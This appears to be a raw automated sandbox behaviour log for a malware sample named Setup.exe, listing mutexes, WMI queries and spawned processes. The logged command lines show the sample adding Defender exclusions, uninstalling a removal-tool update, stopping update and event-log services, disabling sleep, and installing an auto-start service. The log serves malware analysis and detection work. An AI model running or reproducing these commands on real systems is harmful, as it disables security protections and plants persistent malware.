41_2_000000014000226C

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\slideshow.ini

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1836:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6948:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3904:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6716:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:7008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3976:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:544:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6776:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6736:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7076:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6844:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:1768:120:WilError_03
Source: C:\Windows\System32\dialer.exe	Mutant created: \BaseNamedObjects\Global\llfrvfnuexbwtixr
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1596:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2652:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5288:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3xhp5dxa.c1z.ps1

Jump to behavior

Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\dialer.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::ExecQuery - CIMWin32 : select * from Win32_Process where name = "csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_process where name="csrss.exe"
Source: C:\Windows\System32\svchost.exe	WMI Queries: Provider::ExecQuery - CIMWin32 : select * from Win32_Process where name = "csrss.exe"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: svchost.exe, 0000006B.00000000.1591366075.00000184E257C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SELECT _Revision, _WorkId, Application, "Index", Category, Activation, HostId, Executable, Entrypoint, RuntimeType, StartPage, ResourceGroup, Flags, Subsystem, Parameters, _LouserzedDictionary, _Dictionary FROM ApplicationExtension WHERE _ApplicationExtensionID=? AND _WorkId=0;
Source: svchost.exe, 0000006B.00000000.1591366075.00000184E257C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SELECT _PackageLocationID, _Revision, _WorkId, Package, Volume, InstalledLocation, MutableLink, MutableLocation, _Dictionary FROM PackageLocation WHERE Package=? AND _WorkId=0;
Source: svchost.exe, 0000006B.00000000.1591366075.00000184E257C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SELECT fta._FileTypeAssociationID, fta._Revision, fta._WorkId, fta.FileType, fta.ContentType, fta.Extension, fta."Index", fta.ProgID, fta._Dictionary FROM FileTypeAssociation AS fta INNER JOIN ApplicationExtension AS ae ON ae._ApplicationExtensionID=fta.Extension INNER JOIN Application AS a ON a._ApplicationID=ae.Application INNER JOIN PackageUser AS pu ON pu.Package=a.Package INNER JOIN User AS u ON u._UserID=pu.User WHERE fta.FileType=?2 AND u.UserSid=?1 AND fta._WorkId=0 AND ae._WorkId=0 AND a._WorkId=0 AND pu._WorkId=0 ;
Source: svchost.exe, 0000006B.00000000.1591366075.00000184E257C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SELECT fta._FileTypeAssociationID, fta._Revision, fta._WorkId, fta.FileType, fta.ContentType, fta.Extension, fta."Index", fta.ProgID, fta._Dictionary FROM FileTypeAssociation AS fta INNER JOIN ApplicationExtension AS ae ON ae._ApplicationExtensionID=fta.Extension INNER JOIN Application AS a ON a._ApplicationID=ae.Application INNER JOIN PackageUser AS pu ON pu.Package=a.Package INNER JOIN User AS u ON u._UserID=pu.User WHERE fta.FileType=?2 AND u.UserSid=?1 AND fta._WorkId=0 AND ae._WorkId=0 AND a._WorkId=0 AND pu._WorkId=0 ;@
Source: svchost.exe, 0000006B.00000000.1591366075.00000184E257C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SELECT _Revision, _WorkId, Application, "Index", Category, Activation, HostId, Executable, Entrypoint, RuntimeType, StartPage, ResourceGroup, Flags, Subsystem, Parameters, _LouserzedDictionary, _Dictionary FROM ApplicationExtension WHERE _ApplicationExtensionID=? AND _WorkId=0;0
Source: svchost.exe, 0000006B.00000000.1587532438.00000184E1C50000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SELECT name FROM SQLITE_MASTER WHERE type='table' AND name NOT LIKE 'sqlite_%';
Source: svchost.exe, 0000006B.00000000.1591366075.00000184E257C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SELECT p._PackageID, p._Revision, p._WorkId, p.PackageFamily, p.ResourceId, p.Architecture, p.Version, p.PackageFullName, p.IsInbox, p.PackageType, p.Flags, p.Flags2, p.DisplayName, p.PublisherDisplayName, p.Description, p.Logo, p.OSMinVersion, p.OSMaxVersionTested, p.TargetDeviceFamily, p.Capabilities, p.SupportedUsers, p.SignatureOrigin, p.PackageOrigin, p.Enterprise, p.SourceBundle, p.EditionId, p.OSVersionWhenIndexed, p.InPlaceUpdateBaseline, p._Dictionary FROM Package AS p INNER JOIN PackageUser AS pu ON pu.Package=p._PackageID WHERE p.PackageFullName=?2 AND pu.User=?1 AND p._WorkId=0 AND pu._WorkId=0;
Source: svchost.exe, 0000006B.00000000.1591366075.00000184E257C000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SELECT _UserID FROM User WHERE UserSid=?;

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe

File read: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe"
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe"
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "SXJAJUSN"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "SXJAJUSN" binpath= "C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe" start= "auto"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "SXJAJUSN"
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\Windows\System32\sc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\Windows\System32\powercfg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Start-Process "C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe" -Verb runAs	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "SXJAJUSN"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe create "SXJAJUSN" binpath= "C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe" start= "auto"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop eventlog	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe start "SXJAJUSN"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop UsoSvc
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop WaaSMedicSvc
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop wuauserv
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop bits
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe stop dosvc
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
